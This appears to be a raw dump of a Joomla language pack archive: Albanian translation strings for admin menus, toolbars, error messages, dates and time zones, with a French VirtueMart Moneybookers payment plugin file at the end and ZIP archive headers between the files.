JHELP_MENUS_MENU_ITEM_ARTICLE_CATEGORIES="Menus_Menu_Item_Article_Categories" JHELP_MENUS_MENU_ITEM_ARTICLE_CATEGORY_BLOG="Menus_Menu_Item_Article_Category_Blog" JHELP_MENUS_MENU_ITEM_ARTICLE_CATEGORY_LIST="Menus_Menu_Item_Article_Category_List" JHELP_MENUS_MENU_ITEM_ARTICLE_CREATE="Menus_Menu_Item_Article_Create" JHELP_MENUS_MENU_ITEM_ARTICLE_FEATURED="Menus_Menu_Item_Article_Featured" JHELP_MENUS_MENU_ITEM_ARTICLE_SINGLE_ARTICLE="Menus_Menu_Item_Article_Single_Article" JHELP_MENUS_MENU_ITEM_CONTACT_CATEGORIES="Menus_Menu_Item_Contact_Categories" JHELP_MENUS_MENU_ITEM_CONTACT_CATEGORY="Menus_Menu_Item_Contact_Category" JHELP_MENUS_MENU_ITEM_CONTACT_FEATURED="Menus_Menu_Item_Contact_Featured" JHELP_MENUS_MENU_ITEM_CONTACT_SINGLE_CONTACT="Menus_Menu_Item_Contact_Single_Contact" JHELP_MENUS_MENU_ITEM_EXTERNAL_URL="Menus_Menu_Item_External_URL" JHELP_MENUS_MENU_ITEM_FINDER_SEARCH="Menus_Menu_Item_Finder_Search" JHELP_MENUS_MENU_ITEM_MANAGER="Menus_Menu_Item_Manager" JHELP_MENUS_MENU_ITEM_MANAGER_EDIT="Menus_Menu_Item_Manager_Edit" JHELP_MENUS_MENU_ITEM_MENU_ITEM_ALIAS="Menus_Menu_Item_Menu_Item_Alias" JHELP_MENUS_MENU_ITEM_NEWSFEED_CATEGORIES="Menus_Menu_Item_Newsfeed_Categories" JHELP_MENUS_MENU_ITEM_NEWSFEED_CATEGORY="Menus_Menu_Item_Newsfeed_Category" JHELP_MENUS_MENU_ITEM_NEWSFEED_SINGLE_NEWSFEED="Menus_Menu_Item_Newsfeed_Single_Newsfeed" JHELP_MENUS_MENU_ITEM_SEARCH_RESULTS="Menus_Menu_Item_Search_Results" JHELP_MENUS_MENU_ITEM_TEXT_SEPARATOR="Menus_Menu_Item_Text_Separator" JHELP_MENUS_MENU_ITEM_USER_LOGIN="Menus_Menu_Item_User_Login" JHELP_MENUS_MENU_ITEM_USER_PASSWORD_RESET="Menus_Menu_Item_User_Password_Reset" JHELP_MENUS_MENU_ITEM_USER_PROFILE="Menus_Menu_Item_User_Profile" JHELP_MENUS_MENU_ITEM_USER_PROFILE_EDIT="Menus_Menu_Item_User_Profile_Edit" JHELP_MENUS_MENU_ITEM_USER_REGISTRATION="Menus_Menu_Item_User_Registration" JHELP_MENUS_MENU_ITEM_USER_REMINDER="Menus_Menu_Item_User_Reminder" JHELP_MENUS_MENU_ITEM_WEBLINK_CATEGORIES="Menus_Menu_Item_Weblink_Categories" JHELP_MENUS_MENU_ITEM_WEBLINK_CATEGORY="Menus_Menu_Item_Weblink_Category" JHELP_MENUS_MENU_ITEM_WEBLINK_SUBMIT="Menus_Menu_Item_Weblink_Submit" JHELP_MENUS_MENU_ITEM_WRAPPER="Menus_Menu_Item_Wrapper" JHELP_MENUS_MENU_MANAGER="Menus_Menu_Manager" JHELP_MENUS_MENU_MANAGER_EDIT="Menus_Menu_Manager_Edit" JHELP_SITE_GLOBAL_CONFIGURATION="Site_Global_Configuration" JHELP_SITE_MAINTENANCE_CLEAR_CACHE="Site_Maintenance_Clear_Cache" JHELP_SITE_MAINTENANCE_GLOBAL_CHECK-IN="Site_Maintenance_Global_Check-in" JHELP_SITE_MAINTENANCE_PURGE_EXPIRED_CACHE="Site_Maintenance_Purge_Expired_Cache" JHELP_SITE_SYSTEM_INFORMATION="Site_System_Information" JHELP_START_HERE="Start_Here" JHELP_USERS_ACCESS_LEVELS="Users_Access_Levels" JHELP_USERS_ACCESS_LEVELS_EDIT="Users_Access_Levels_Edit" JHELP_USERS_DEBUG_USERS="Users_Debug_Users" JHELP_USERS_GROUPS="Users_Groups" JHELP_USERS_GROUPS_EDIT="Users_Groups_Edit" JHELP_USERS_MASS_MAIL_USERS="Users_Mass_Mail_Users" JHELP_USERS_USER_MANAGER="Users_User_Manager" JHELP_USERS_USER_MANAGER_EDIT="Users_User_Manager_Edit" JHELP_USERS_USER_NOTES="Users_User_Notes" JHELP_USERS_USER_NOTES_EDIT="Users_User_Notes_Edit" ; if there is an error connecting database before initialization, en-GB.lib_joomla.ini can't be loaded ; we therefore have to load the strings from en-GB.ini JLIB_DATABASE_ERROR_ADAPTER_MYSQL="Përshtatësi MySQL 'mysql' s'asht aktiv." JLIB_DATABASE_ERROR_ADAPTER_MYSQLI="Përshtatësi MySQL 'mysqli' s'asht aktiv." JLIB_DATABASE_ERROR_CONNECT_DATABASE="S'mundi m'u lidhë me databazën: %s" JLIB_DATABASE_ERROR_CONNECT_MYSQL="S'mundi m'u lidhë me MySQL." JLIB_DATABASE_ERROR_DATABASE_CONNECT="S'mundi m'u lidhë me databazën" JLIB_DATABASE_ERROR_LOAD_DATABASE_DRIVER="S'mundi me nxjerrë drajverin e databazës: %s" JLIB_ERROR_INFINITE_LOOP="Qark i pambyllun u zbulue në JError" JOPTION_ACCESS_SHOW_ALL_ACCESS="Trego gjithë hymjen" JOPTION_ACCESS_SHOW_ALL_GROUPS="Trego krejt grupet" JOPTION_ACCESS_SHOW_ALL_LEVELS="Trego krejt nivelet e hymjes" JOPTION_ALL_CATEGORIES="- Gjithë kategoritë -" JOPTION_ANY_CATEGORY="Çdo kategori" JOPTION_ANY="Këdo" JOPTION_DO_NOT_USE="- S'u përzgjodh gja -" JOPTION_FROM_COMPONENT="---Nga komponenti---" JOPTION_FROM_MODULE="---Nga moduli---" JOPTION_FROM_TEMPLATE="---Nga %s ftyra---" JOPTION_FROM_STANDARD="---Nga opsionet globale---" JOPTION_MENUS="Menytë" JOPTION_NO_USER="- S'ka përdorues -" JOPTION_OPTIONAL="Opsionale" JOPTION_ORDER_FIRST="Rendit nga fillimi" JOPTION_ORDER_LAST="Rendit nga fundi" JOPTION_REQUIRED="Kërkohet" JOPTION_SELECT_ACCESS="- Zgjidh hymjen -" JOPTION_SELECT_AUTHOR_ALIAS="- Zgjidh aliasin e autorit -" JOPTION_SELECT_AUTHOR_ALIASES="- Zgjidh aliaset e autorit -" JOPTION_SELECT_AUTHOR="- Zgjidh autorin -" JOPTION_SELECT_AUTHORS="- Zgjidh autorët -" JOPTION_SELECT_CATEGORY="- Zgjidh kategorinë -" JOPTION_SELECT_EDITOR="- Zgjidh editorin -" JOPTION_SELECT_IMAGE="- Zgjidh pamjen -" JOPTION_SELECT_LANGUAGE="- Zgjidh gjuhën -" JOPTION_SELECT_MENU="- Zgjidh menynë -" JOPTION_SELECT_MENU_ITEM="- Zgjidh sendin e menysë -" JOPTION_SELECT_PUBLISHED="- Zgjidh statusin -" JOPTION_SELECT_TEMPLATE="- Zgjidh ftyrën -" JOPTION_SELECT_MAX_LEVELS="- Zgjidh nivelet maksimale -" JOPTION_UNASSIGNED="E pacaktueme" JOPTION_USE_DEFAULT_MODULE_SETTING="- Përdor t'dhanat normale të modulit -" JOPTION_USE_DEFAULT="- Përdor normalen -" JOPTION_USE_MENU_REQUEST_SETTING="- Përdor t'dhanat e menysë ose të kërkuemet -" JSEARCH_FILTER_LABEL="Filtri:" JSEARCH_FILTER_CLEAR="Pastro" JSEARCH_FILTER_SUBMIT="Kërko" JSEARCH_FILTER="Kërko" JSEARCH_TITLE="Kërko %s" JSEARCH_RESET="Pastroje" JTOOLBAR_APPLY="Ruej" JTOOLBAR_ARCHIVE="Arkivi" JTOOLBAR_ASSIGN="Cakto" JTOOLBAR_BACK="Mbrapa" JTOOLBAR_CANCEL="Zhban" JTOOLBAR_CHECKIN="Regjistrim" JTOOLBAR_CLOSE="Mbylle" JTOOLBAR_DEFAULT="Normalja" JTOOLBAR_DELETE="Fshij" JTOOLBAR_DISABLE="Çaktivizo" JTOOLBAR_DUPLICATE="Dyfisho" JTOOLBAR_EDIT="Ndrysho" JTOOLBAR_EDIT_CSS="Ndrysho CSS-në" JTOOLBAR_EDIT_HTML="Ndrysho HTML-në" JTOOLBAR_EMPTY_TRASH="Shpraz koshin" JTOOLBAR_ENABLE="Aktivizo" JTOOLBAR_EXPORT="Eksporto" JTOOLBAR_HELP="Ndihmë" JTOOLBAR_INSTALL="Instalo" JTOOLBAR_NEW="I ri" JTOOLBAR_OPTIONS="Opsionet" JTOOLBAR_PUBLISH="Boto" JTOOLBAR_PURGE_CACHE="Pastro keshin" JTOOLBAR_REBUILD="Rindërto" JTOOLBAR_REFRESH_CACHE="Rifresko keshin" JTOOLBAR_REMOVE="Hiq" JTOOLBAR_SAVE="Ruej & Mbyll" JTOOLBAR_SAVE_AND_NEW="Ruej & I ri" JTOOLBAR_SAVE_AS_COPY="Ruej si kopje" JTOOLBAR_UNARCHIVE="Nxirr nga arkivi" JTOOLBAR_UNINSTALL="Çinstalo" JTOOLBAR_UNPUBLISH="Hiq nga botimi" JTOOLBAR_UPLOAD="Ngarko" JTOOLBAR_TRASH="Kosh" JTOOLBAR_REBUILD_SUCCESS="U rindërtue me sukses" JWARNING_PUBLISH_MUST_SELECT="Duhet me zgjedhë të paktën nji send me botue." JWARNING_ARCHIVE_MUST_SELECT="Duhet me zgjedhë të paktën nji send me arkivue." JWARNING_UNPUBLISH_MUST_SELECT="Duhet me zgjedhë të paktën nji send me heqë nga botimi." JWARNING_TRASH_MUST_SELECT="Duhet me zgjedhë të paktën nji send me fshi." JWARNING_DELETE_MUST_SELECT="Duhet me zgjedhë të paktën nji send me e fshi përgjithmonë." JWARNING_REMOVE_ROOT_USER="Ke hy tue përdorë t'dhanat emergjencë të përdoruesit rranjë në configuration.php.
      Duhet ta heqësh $root_user nga configuration.php sapo të kesh vu kontrollin mbi faqe për me shmangë thyemje t'ardhshme të sigurisë.
      Shtyp këtu m'u përpjekë me e ba këte gjaj automatikisht." ; Date format DATE_FORMAT_LC="l, d F Y" DATE_FORMAT_LC1="l, d F Y" DATE_FORMAT_LC2="l, d F Y H:i" DATE_FORMAT_LC3="d F Y" DATE_FORMAT_LC4="v-m-d" DATE_FORMAT_JS1="v-m-d" ; Months JANUARY_SHORT="Jan" JANUARY="Janar" FEBRUARY_SHORT="Shk" FEBRUARY="Shkurt" MARCH_SHORT="Mar" MARCH="Mars" APRIL_SHORT="Pri" APRIL="Prill" MAY_SHORT="Maj" MAY="Maj" JUNE_SHORT="Qer" JUNE="Qershor" JULY_SHORT="Kor" JULY="Korrik" AUGUST_SHORT="Gus" AUGUST="Gusht" SEPTEMBER_SHORT="Sht" SEPTEMBER="Shtator" OCTOBER_SHORT="Tet" OCTOBER="Tetor" NOVEMBER_SHORT="Nën" NOVEMBER="Nëntor" DECEMBER_SHORT="Dhe" DECEMBER="Dhetor" ; Days of the Week SAT="Sht" SATURDAY="E shtunë" SUN="Die" SUNDAY="E diel" MON="Han" MONDAY="E hanë" TUE="Mar" TUESDAY="E martë" WED="Mër" WEDNESDAY="E mërkurë" THU="Enj" THURSDAY="E enjte" FRI="Pre" FRIDAY="E premte" ; Time Zones TIME_ZONE="Zona orare" UTC__12_00__INTERNATIONAL_DATE_LINE_WEST="(UTC -12:00) Vija ndërkombtare e datës Perëndim" UTC__11_00__MIDWAY_ISLAND__SAMOA="(UTC -11:00) Ishujt Midvej, Samoa" UTC__10_00__HAWAII="(UTC -10:00) Havai" UTC__09_30__TAIOHAE__MARQUESAS_ISLANDS="(UTC -09:30) Taiohae, Ishujt Markuezas" UTC__09_00__ALASKA="(UTC -09:00) Alaskë" UTC__08_00__PACIFIC_TIME__US__AMP__CANADA_="(UTC -08:00) Koha e Paqësorit (ShBA & Kanada)" UTC__07_00__MOUNTAIN_TIME__US__AMP__CANADA_="(UTC -07:00) Koha Malore (ShBA & Kanada)" UTC__06_00__CENTRAL_TIME__US__AMP__CANADA___MEXICO_CITY="(UTC -06:00) Koha qendrore (ShBA & Kanada), Meksiko Siti" UTC__05_00__EASTERN_TIME__US__AMP__CANADA___BOGOTA__LIMA="(UTC -05:00) Koha lindore (ShBA & Kanada), Bogota, Lima" UTC__04_30__VENEZUELA="(UTC -04:30) Venezuelë" UTC__04_00__ATLANTIC_TIME__CANADA___CARACAS__LA_PAZ="(UTC -04:00) Koha e Atlantikut (Kanada), Karakas, La Paz" UTC__03_30__ST__JOHN_S__NEWFOUNDLAND__LABRADOR="(UTC -03:30) Sh. Xhon, Njufondlend dhe Labrador" UTC__03_00__BRAZIL__BUENOS_AIRES__GEORGETOWN="(UTC -03:00) Brazil, Buenos Aires, Xhorxhtaun" UTC__02_00__MID_ATLANTIC="(UTC -02:00) Mes-Atlantik" UTC__01_00__AZORES__CAPE_VERDE_ISLANDS="(UTC -01:00) Azores, Ishujt Cape Verde" UTC_00_00__WESTERN_EUROPE_TIME__LONDON__LISBON__CASABLANCA="(UTC 00:00) Koha e Europës Perëndimore, Lisbonë, Londër, Kazablankë" UTC__01_00__AMSTERDAM__BERLIN__BRUSSELS__COPENHAGEN__MADRID__PARIS="(UTC +01:00) Shkodër, Ulqin, Prishtinë, Shkup, Janinë, Tiranë" UTC__02_00__ISTANBUL__JERUSALEM__KALININGRAD__SOUTH_AFRICA="(UTC +02:00) Stamboll, Jeruzalem, Kaliningrad, Afrika e Jugut" UTC__03_00__BAGHDAD__RIYADH__MOSCOW__ST__PETERSBURG="(UTC +03:00) Bagdad, Riad, Moskë, Sh. Petërsburg" UTC__03_30__TEHRAN="(UTC +03:30) Teheran" UTC__04_00__ABU_DHABI__MUSCAT__BAKU__TBILISI="(UTC +04:00) Abu Dabi, Muscat, Baku, Tbilisi" UTC__04_30__KABUL="(UTC +04:30) Kabuli" UTC__05_00__EKATERINBURG__ISLAMABAD__KARACHI__TASHKENT="(UTC +05:00) Ekaterinburg, Islamabad, Karaçi, Tashkent" UTC__05_30__BOMBAY__CALCUTTA__MADRAS__NEW_DELHI__COLOMBO="(UTC +05:30) Mumbai, Calcutta, Madras, New Delhi, Colombo" UTC__05_45__KATHMANDU="(UTC +05:45) Katmandu" UTC__06_00__ALMATY__DHAKA="(UTC +06:00) Almati, Daka" UTC__06_30__YAGOON="(UTC +06:30) Jagun" UTC__07_00__BANGKOK__HANOI__JAKARTA__PHNOM_PENH="(UTC +07:00) Bangkok, Hanoi, Xhakartë, Pnom Pen" UTC__08_00__BEIJING__PERTH__SINGAPORE__HONG_KONG="(UTC +08:00) Pekin, Perth, Singapor, Hong Kong" UTC__08_00__WESTERN_AUSTRALIA="(UTC +08:00) Western Australia" UTC__09_00__TOKYO__SEOUL__OSAKA__SAPPORO__YAKUTSK="(UTC +09:00) Tokio, Seul, Osakë, Saporo, Yakutsk" UTC__09_30__ADELAIDE__DARWIN__YAKUTSK="(UTC +09:30) Adelaide, Darvin, Yakutsk" UTC__10_00__EASTERN_AUSTRALIA__GUAM__VLADIVOSTOK="(UTC +10:00) Australi Lindore, Guam, Vladivostok" UTC__10_30__LORD_HOWE_ISLAND__AUSTRALIA_="(UTC +10:30) Ishulli Lord Hove (Australi)" UTC__11_00__MAGADAN__SOLOMON_ISLANDS__NEW_CALEDONIA="(UTC +11:00) Magadan, Ishujt Solomon, Kaledonia e Re" UTC__11_30__NORFOLK_ISLAND="(UTC +11:30) Ishulli Norfolk" UTC__12_00__AUCKLAND__WELLINGTON__FIJI__KAMCHATKA="(UTC +12:00) Okland, Uellington, Fixhi, Kamçatka" UTC__12_45__CHATHAM_ISLAND="(UTC +12:45) Ishulli Çatam" UTC__13_00__TONGA="(UTC +13:00) Tongë" UTC__14_00__KIRIBATI="(UTC +14:00) Kiribat" ; Mailer Codes PHPMAILER_PROVIDE_ADDRESS="Duhet me dhanë të paktën nji adresë e-marrësi." PHPMAILER_MAILER_IS_NOT_SUPPORTED=" Postuesi s'pranohet." PHPMAILER_EXECUTE="S'mundi me ekzekutue: " PHPMAILER_INSTANTIATE="S'mundet me nisë funksionin e postës." PHPMAILER_AUTHENTICATE="Gabim SMTP! S'mund t'autentifikohet." PHPMAILER_FROM_FAILED="Adresa dështoi për sa vijon: " PHPMAILER_RECIPIENTS_FAILED="Gabim SMTP! Marrësit e maposhtëm dështuen: " PHPMAILER_DATA_NOT_ACCEPTED="Gabim SMTP! T'dhanat s'pranohen." PHPMAILER_CONNECT_HOST="Gabim SMTP! S'lidhet me hostin SMTP." PHPMAILER_FILE_ACCESS="S'mundi të hynte në dokumentin: " PHPMAILER_FILE_OPEN="Gabim dokumenti: S'mundi me e hapë: " PHPMAILER_ENCODING="Enkodim i panjohun: " PHPMAILER_SIGNING_ERROR="Gabim nënshkrimi: " PHPMAILER_SMTP_ERROR="Gabim serveri SMTP: " PHPMAILER_EMPTY_MESSAGE="Trup mesazhi bosh" PHPMAILER_INVALID_ADDRESS="Adresë e pavlefshme" PHPMAILER_VARIABLE_SET="S'mundi me përcaktue ose me ripërcaktue varablin: " PHPMAILER_SMTP_CONNECT_FAILED="Dështoi lidhja me SMTP" PHPMAILER_TLS="S'mundi me nisë TLS-në" PK@y>\&,language/sq-AL/sq-AL.plg_finder_weblinks.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_FINDER_WEBLINKS="Kërkim i squet - Nyjet" PLG_FINDER_WEBLINKS_XML_DESCRIPTION="Ky plugin indekson nyjet Joomla!." PLG_FINDER_QUERY_FILTER_BRANCH_S_WEB_LINK="Nyja" PLG_FINDER_QUERY_FILTER_BRANCH_P_WEB_LINK="Nyjet" PK@y>\ zz.language/sq-AL/sq-AL.plg_finder_categories.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_FINDER_CATEGORIES="Kërkim i squet - Kategoritë" PLG_FINDER_CATEGORIES_XML_DESCRIPTION="Ky plugin indekson kategoritë Joomla!." PK@y>\EE(language/sq-AL/sq-AL.com_checkin.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_CHECKIN="Regjistrim" COM_CHECKIN_XML_DESCRIPTION="Komponenti i regjistrimit" PK@y>\4tt0language/sq-AL/sq-AL.plg_search_contacts.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SEARCH_CONTACTS="Kërko - Kontaktet" PLG_SEARCH_CONTACTS_XML_DESCRIPTION="Mundëson kërkimin në komponentin e kontakteve" PK@y>\k/WW(language/sq-AL/sq-AL.com_plugins.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_PLUGINS="Plugins Manager" COM_PLUGINS_XML_DESCRIPTION="This component manages Joomla! plugins" PK@y>\o}uu0language/sq-AL/sq-AL.plg_search_weblinks.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SEARCH_WEBLINKS="Kërko - Nyjet" PLG_SEARCH_WEBLINKS_XML_DESCRIPTION="Lejon kërkimin e komponentit të nyjeve t'internetit" PK@y>\E84PP'language/sq-AL/sq-AL.com_config.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_CONFIG="Menaxheri i konfigurimit" COM_CONFIG_XML_DESCRIPTION="Menaxheri i konfigurimit" PK@y>\>x2language/sq-AL/sq-AL.plg_system_languagefilter.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SYSTEM_LANGUAGEFILTER="System - Language Filter" PLG_SYSTEM_LANGUAGEFILTER_XML_DESCRIPTION="This plugin filters the displayed content depending on language.
      This plugin is to be enabled only when the Language Switcher module is published.
      If this plugin is activated, it is suggested to publish the administrator multilanguage status module." PLG_SYSTEM_LANGUAGEFILTER_FIELD_AUTOMATIC_CHANGE_DESC="This option will automatically change the content language used in the frontend when a user site language is changed" PLG_SYSTEM_LANGUAGEFILTER_FIELD_AUTOMATIC_CHANGE_LABEL="Automatic Language Change" PLG_SYSTEM_LANGUAGEFILTER_FIELD_DETECT_BROWSER_DESC="Choose Site default language or try to detect the browser settings language. It will default to site language if browser settings can't be found." PLG_SYSTEM_LANGUAGEFILTER_FIELD_DETECT_BROWSER_LABEL="Language Selection for new Visitors." PLG_SYSTEM_LANGUAGEFILTER_BROWSER_SETTINGS="Browser Settings" PLG_SYSTEM_LANGUAGEFILTER_SITE_LANGUAGE="Site Language" PLG_SYSTEM_LANGUAGEFILTER_FIELD_MENU_ASSOCIATIONS_DESC="This option will allow menu associations when switching from one language to another" PLG_SYSTEM_LANGUAGEFILTER_FIELD_MENU_ASSOCIATIONS_LABEL="Menu associations" PLG_SYSTEM_LANGUAGEFILTER_FIELD_REMOVE_DEFAULT_PREFIX_DESC="Remove the defined URL Language Code of the Content Language that corresponds to the default site language when Search Engine Friendly URLs is set to 'Yes'." PLG_SYSTEM_LANGUAGEFILTER_FIELD_REMOVE_DEFAULT_PREFIX_LABEL="Remove URL Language Code" PLG_SYSTEM_LANGUAGEFILTER_FIELD_ALTERNATE_META_DESC="Add alternate meta tags for menu items with associated menu items in other languages." PLG_SYSTEM_LANGUAGEFILTER_FIELD_ALTERNATE_META_LABEL="Add alternate meta tags" PK@y>\j@@+language/sq-AL/sq-AL.plg_system_log.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_LOG_XML_DESCRIPTION="Jep logun e sistemit" PLG_SYSTEM_LOG="System - Log"PK@y>\Td+language/sq-AL/sq-AL.plg_system_sef.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SEF_XML_DESCRIPTION="Shton mbështetje SEF për nyjet në dokument. Vepron drejtpërdrejt në HTML dhe nuk kërkon tag të veçantë." PLG_SYSTEM_SEF="System - SEF"PK@y>\'[[-language/sq-AL/sq-AL.plg_content_vote.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_VOTE="Përmbajtja - Vota" PLG_VOTE_XML_DESCRIPTION="Shto funksionin e votimit te artikujt" PK@y>\Bt((&language/sq-AL/sq-AL.tpl_bluestork.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 TPL_BLUESTORK_FIELD_CONTRAST_DESC="Increase the contrast for better readability" TPL_BLUESTORK_FIELD_CONTRAST_LABEL="High Contrast" TPL_BLUESTORK_FIELD_SITENAME_DESC="Show the site name instead of generic 'Administration' in the template header." TPL_BLUESTORK_FIELD_SITENAME_LABEL="Trego emnin e faqes" TPL_BLUESTORK_FIELD_TEXTBIG_DESC="Increase the size of text for better readability" TPL_BLUESTORK_FIELD_TEXTBIG_LABEL="Bigger Text" TPL_BLUESTORK_HEADER="Administrimi" TPL_BLUESTORK_XML_DESCRIPTION="

      BlueStork is a template for the Joomla administrator.

      "PK@y>\N|JJ'language/sq-AL/sq-AL.com_mailto.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_MAILTO="Mail to" COM_MAILTO_XML_DESCRIPTION="A generic mail to friend component" PK@y>\7&language/sq-AL/sq-AL.mod_quickicon.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_QUICKICON="Ikonat e shpejta" MOD_QUICKICON_ADD_NEW_ARTICLE="Artikull i ri" MOD_QUICKICON_ARTICLE_MANAGER="Artikujt" MOD_QUICKICON_CATEGORY_MANAGER="Kategoritë" MOD_QUICKICON_EXTENSION_MANAGER="Zgjatimet" MOD_QUICKICON_FRONTPAGE_MANAGER="Ballina" MOD_QUICKICON_GLOBAL_CONFIGURATION="Konfigurimi" MOD_QUICKICON_GROUP_DESC="The group of this module (this value is compared with the group value used in Quick Icons plugins to inject icons). The 'mod_quickicon' group always displays the Joomla! core icons." MOD_QUICKICON_GROUP_LABEL="Grupi" MOD_QUICKICON_LANGUAGE_MANAGER="Gjuha" MOD_QUICKICON_MEDIA_MANAGER="Media" MOD_QUICKICON_MENU_MANAGER="Meny" MOD_QUICKICON_MODULE_MANAGER="Modulet" MOD_QUICKICON_PROFILE="Edit Profile" MOD_QUICKICON_TEMPLATE_MANAGER="Ftyrat" MOD_QUICKICON_TITLE="Ikonat e shpejta" MOD_QUICKICON_USER_MANAGER="Përdoruesit" MOD_QUICKICON_XML_DESCRIPTION="This module shows Quick Icons that are visible on the Control Panel (admin area home page)" PK@y>\醲'language/sq-AL/sq-AL.mod_latest.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_LATEST="Lajmet ma t'fundit" MOD_LATEST_XML_DESCRIPTION="Ky modul tregon nji listë të artikujve të fundit të botuem që ende janë aktualë. Disa që janë tregue mund të kenë skadue edhe pse janë ma të fundit." MOD_LATEST_LAYOUT_DEFAULT="Normalja" PK@y>\ 3language/fr-FR/fr-FR.plg_vmpayment_moneybookers.ininuW+A; @date : $Date$ ; @Id $Id$ ; @Revision : $Revision$ ; @author Skrill Holdings Ltd. ; @package VMPayment ; @subpackage VirtueMart payment Moneybookers ; Titres et rubriques VMPAYMENT_MONEYBOOKERS_ORDER_NUMBER="No Commande" VMPAYMENT_MONEYBOOKERS_PAYMENT_TITLE="Paramètres de compte marchand Moneybookers" VMPAYMENT_MONEYBOOKERS_PAYMENT_WARNING="Avertissement - Pour VM2, Le vendeur et l’acheteur recevront un email SEULEMENT si la transaction est achevée." VMPAYMENT_MONEYBOOKERS_PAYMENT_SETTINGS="Détails de compte" VMPAYMENT_MONEYBOOKERS_RESTRICTIONS="Restrictions" VMPAYMENT_MONEYBOOKERS_PAYMENT_STATUSES="Statut de paiement" ; Champs et étiquettes des boutons VMPAYMENT_MONEYBOOKERS_LOGOS="Logos" VMPAYMENT_PAY_TO_EMAIL="Email du marchand" VMPAYMENT_SECRET_WORD="Mot secret" VMPAYMENT_LOGOURL="Merchant logo URL" VMPAYMENT_MONEYBOOKERS_CURRENCY="Devise" VMPAYMENT_MONEYBOOKERS_COUNTRIES="Pays" VMPAYMENT_STATUS_PENDING="Order Status for Pending transactions" VMPAYMENT_STATUS_SUCCESS="Order Status for Sucessful/Completed transactions" VMPAYMENT_STATUS_FAILED="Order Status for Failed transactions" VMPAYMENT_MONEYBOOKERS_REDIRECT_MESSAGE="Veuillez attendre pendant que vous êtes redirigés vers" VMPAYMENT_HIDELOGIN="Cache la section de login sur la page du portail" ; Descriptions/Truc pour tous les champs VMPAYMENT_MONEYBOOKERS_LOGOS_DESC="Logos d’être montrés avec le nom du moyen de paiement" VMPAYMENT_PAY_TO_EMAIL_DESC="Adresse email du compte en moneybookers.com du marchand Email" VMPAYMENT_SECRET_WORD_DESC="Le mot secret sera utilisé pour valider les réponses des transactions par le portail, il ne doit pas être de plus de 10 caractères" VMPAYMENT_LOGOURL_DESC="L’URL du logo du marchand que vous voudriez apparaitre en haut du portail. Example: http://www.example-merchant.com/logo.jpg" VMPAYMENT_MONEYBOOKERS_CURRENCY_DESC="Dévises acceptées pour le paiement" VMPAYMENT_MONEYBOOKERS_COUNTRIES_DESC=" Merci de sélectionner les pays pour lesquels la méthode de paiement est applicable. Su aucun pays n’est sélectionné la méthode de paiement sera applicable pour tous les pays " VMPAYMENT_HIDELOGIN_DESC="Les marchands peuvent montrer le portail à leurs clients sans que la section de login soit visible" ; Messages d’erreur VMPAYMENT_MONEYBOOKERS_ERROR_POSTING_IPN="Error posting IPN for payment method Moneybookers: %1s, %2d." VMPAYMENT_MONEYBOOKERS_DISPLAY_GWERROR="Le traitement des paiements par Moneybookers est temporairement indisponible, veuillez contacter un administrateur pour plus d’information" 